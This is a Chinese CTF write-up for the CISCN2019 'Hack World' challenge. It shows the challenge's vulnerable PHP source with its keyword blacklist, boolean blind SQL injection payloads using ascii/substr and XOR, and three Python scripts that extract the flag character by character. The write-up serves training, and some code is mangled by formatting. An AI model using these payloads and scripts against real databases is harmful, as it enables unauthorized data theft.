知识点:题目已经告知列名和表明为flag,接下来利用ascii和substr函数即可进行bool盲注

eg:

id=(ascii(substr((select(flag)from(flag)),1,1))<128)

0x01

看了网上的源码发现:

  1. <?php
  2. $dbuser='root';
  3. $dbpass='root';
  4. function safe($sql){
  5. #被过滤的内容 函数基本没过滤
  6. $blackList = array(' ','||','#','-',';','&','+','or','and','`','"','insert','group','limit','update','delete','*','into','union','load_file','outfile','./');
  7. foreach($blackList as $blackitem){
  8. if(stripos($sql,$blackitem)){
  9. return False; } } return True;
  10. } i
  11. f(isset($_POST['id'])){
  12. $id = $_POST['id'];
  13. }else
  14. { die();
  15. }
  16. $db = mysql_connect("localhost",$dbuser,$dbpass); i
  17. f(!$db){
  18. die(mysql_error()); }
  19. mysql_select_db("ctf",$db);
  20. if(safe($id)){
  21. $query = mysql_query("SELECT content from passage WHERE id = ${id} limit 0,1");
  22. if($query){
  23. $result = mysql_fetch_array($query);
  24. if($result){
  25. echo $result['content'];
  26. }else{
  27. echo "Error Occured When Fetch Result.";
  28. }
  29. }else{
  30. var_dump($query);
  31. } }else{
  32. die("SQL Injection Checked."); }

过滤了一堆东西,可以看到很多函数没有过滤,

接下来就想办法借助函数构造注入就可以了。

借助substr函数截取flag中的内容,长度依次增加。用if函数判断截取出来的内容是什么,这里需要穷举。如果判断成功,返回1,否则返回2。

0x2解题

贴上wp脚本

import requests

import time

url是随时更新的,具体的以做题时候的为准

url = 'http://40c9be7a-36f0-4e80-94ca-d1ac9e121947.node1.buuoj.cn/index.php'

data = {"id":""}

flag = 'flag{'

i = 6

while True:

从可打印字符开始

  1. begin = 32
  2. end = 126
  3. tmp = (begin+end)//2
  4. while begin<end:
  5. print(begin,tmp,end)
  6. time.sleep(1)
  7. data["id"] = "if(ascii(substr((select flag from flag),{},1))>{},1,2)".format(i,tmp)
  8. r = requests.post(url,data=data)
  9. if 'Hello' in r.text:
  10. begin = tmp+1
  11. tmp = (begin+end)//2
  12. else:
  13. end = tmp
  14. tmp = (begin+end)//2
  15. flag+=chr(tmp)
  16. print(flag)
  17. i+=1
  18. if flag[-1]=='}':
  19. break

0x03 解法二

看的网上的wp还有一种解法是通过异或

在爆flag的时候发现有过滤 :select,show,""……很是难受,后来在师傅的博客上看到了这种方法:

id=1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))

附上脚本爆破

  1. #!/usr/bin/python
  2. #-*-coding:utf-8 -*-
  3. import requests
  4. import re
  5. def flag_get(start,f,url): #确定start位的字符
  6. a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))='+str(f)+'),0,1))'
  7. data = {'id': a }
  8. url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
  9. r= requests.post(url, data)
  10. s=r.text
  11. #print(s)
  12. if 'Hello' in s:
  13. return 1
  14. else:
  15. return 0
  16. def flag_find(start,f,url): #确定
  17. a='1^(if((ascii(substr((select(flag)from(flag)),'+str(start)+',1))>'+str(f)+'),0,1))'
  18. data = {'id': a }
  19. url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
  20. r= requests.post(url, data)
  21. s=r.text
  22. #print(s)
  23. if 'Hello' in s:
  24. return 1
  25. else:
  26. return 0
  27. if __name__ == '__main__':
  28. url = 'http://76333ea2-9071-468b-ad3c-930e98a4ead2.node1.buuoj.cn/index.php'
  29. flag_kouhao=125
  30. flag=''
  31. num=1 #从第num位开始爆破
  32. while 1:
  33. start=32 #ascii的起始范围(10进制)
  34. last=126 #ascii的终止范围(10进制)
  35. mid=int((start+last)/2)
  36. while 1:
  37. if(flag_get(num,flag_kouhao,url)):
  38. flag=flag+'}'
  39. print('flag is :'+flag)
  40. exit(1)
  41. print('strat is '+str(start))
  42. print(' mid is '+str(mid))
  43. print('last is '+str(last))
  44. print('****************************************')
  45. if(flag_find(num,mid,url)):
  46. start=mid
  47. mid=int((start+last)/2)
  48. if ((last-start)<5):
  49. break
  50. else:
  51. last=mid
  52. mid=int((start+last)/2)
  53. if ((last-start)<5):
  54. break
  55. print(start)
  56. print(last)
  57. print('****************************************')
  58. for i in range(start,last+1):
  59. print(i)
  60. if(flag_get(num,i,url)):
  61. f=chr(i)
  62. flag=flag+f
  63. print('****************************************')
  64. print(' num is '+str(num))
  65. print('char is '+f)
  66. print('flag is '+flag)
  67. print('****************************************')
  68. break
  69. num=num+1
  70. print(flag)

exp2:

coding:utf-8

import requests

from lxml import etree

def a():

url="http://b995ff2b-d867-4580-80c2-3fd1e4b25cb4.node3.buuoj.cn/"

flag="Hello, glzjin wants a girlfriend."

final=""

stop=0

for i in range(1,1290):

print(""50,i,""50)

stop=0

for j in range(32,129):

stop = j

data={"id":"1^(if((ascii(substr((select(flag)from(flag)),%d,1))=%d),0,1))" %(i,j)}

re = requests.post(url=url,data=data).text.replace('\n','')

html = etree.HTML(re).xpath("//text()")

# print(">>",html)

if flag in html:

final+=chr(j)

print("\n\t\t\t\t",final)

break

  1. if stop >= 128:
  2. print("*"*50,"结束")
  3. print(">>",final)
  4. break

if name == 'main':

a()

参考链接

https://www.cnblogs.com/kevinbruce656/p/11342580.html

https://blog.csdn.net/weixin_43345082/article/details/99062970

[CISCN2019 华北赛区 Day2 Web1]Hack World的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  2. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

  3. BUUOJ [CISCN2019 华北赛区 Day2 Web1]Hack World

    补一下这道题,顺便发篇博客 不知道今年国赛是什么时候,菜鸡还是来刷刷题好了 0X01 考点 SQL注入.盲注.数字型 0X02自己尝试 尝试输入1 赵师傅需要女朋友吗???随便都能有好吧 输入2 ?? ...

  4. 刷题[CISCN2019 华北赛区 Day2 Web1]Hack World

    解题思路 打开发现是很简单的页面,告诉了表名和列名,只需知道字段即可 尝试一下,输入1,2都有内容,后面无内容.输入1'让他报错,发现返回bool(false) 大概思路就是布尔型注入了,通过不断返回 ...

  5. [CISCN2019 华北赛区 Day2 Web1]Hack World 1详解

    打开题目, 我们开始尝试注入, 输入0回显Error Occured When Fetch Result. 输入1回显Hello, glzjin wants a girlfriend. 输入2回显Do ...

  6. [CISCN2019 华北赛区 Day2 Web1]Hack World(二分法写布尔注入脚本)

    记一道布尔注入的题,存在过滤字符. 从题目看应该是一道注入题.提示存在flag表flag列. 输入1和2的返回结果不一样,可能是布尔注入. 简单用万能密码尝试了一下.提示SQL Injection C ...

  7. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  8. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  9. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

随机推荐

  1. Linux netfliter 架构

    netfliter 简介 netfilter是在Linux 2.4.X内核引入的一个子系统,它提供了一个抽象的.通用框架,这个框架提供了一整套的钩子函数的管理机制.包括钩子函数的原型定义,注册,注销等 ...

  2. wireshark混杂模式

    来自:https://blog.csdn.net/mukami0621/article/details/78645825 通过设置网卡为混杂模式就能捕获局域网内所有发包内容,包括非广播包和非发给自己主 ...

  3. Si7006主要面向传统上使用的分立RH / T传感器的低精度的应用

    Silicon Labs的Si7006 / 13/20/21个I 2 C相对湿度及温度传感器结合充分工厂校准湿度和温度传感器元件与模拟-数字转换器,信号处理和一个I 2 C主机接口.专利使用业界标准低 ...

  4. CSS - 强制换行和禁止换行强制换行 和禁止换行样

    强制换行 word-break: break-all;       只对英文起作用,以字母作为换行依据. word-wrap: break-word;   只对英文起作用,以单词作为换行依据. whi ...

  5. mongoose 报错:DeprecationWarning: collection.ensureIndex is deprecated. Use createIndexes instead

    mongoose.set('useCreateIndex', true)    // 加上这个

  6. Django——整体结构/MVT设计模式

    MVT设计模式 Models      封装数据库,对数据进行增删改查; Views        进行业务逻辑的处理 Templates  进行前端展示 前端展示看到的是模板  -->  发起 ...

  7. 最小编辑距离python

    1 什么是编辑距离在计算文本的相似性时,经常会用到编辑距离(Levenshtein距离),其指两个字符串之间,由一个字符串转成另一个所需的最少编辑操作次数.在字符串形式上来说,编辑距离越小,那么两个文 ...

  8. Bean Java配置

    Spring 系列教程 Spring 框架介绍 Spring 框架模块 Spring开发环境搭建(Eclipse) 创建一个简单的Spring应用 Spring 控制反转容器(Inversion of ...

  9. 最小生成树(Kruskal+Prim)--模板

    最小生成树-----在连通网的所有生成树中,所有边的代价和最小的生成树,称为最小生成树. 应用场景 1.假设以下情景,有一块木板,板上钉上了一些钉子,这些钉子可以由一些细绳连接起来.假设每个钉子可以通 ...

  10. dp学习笔记(各种dp,比较杂)

    HDU1176 中文题意不多解释了. 建一个二维dp数组,dp[ i ][ j ]表示第 i 秒落在 j 处一个馅饼.我们需要倒着DP,为什么呢,从 0秒,x=5处出发,假如沿数组正着往下走,终点到哪 ...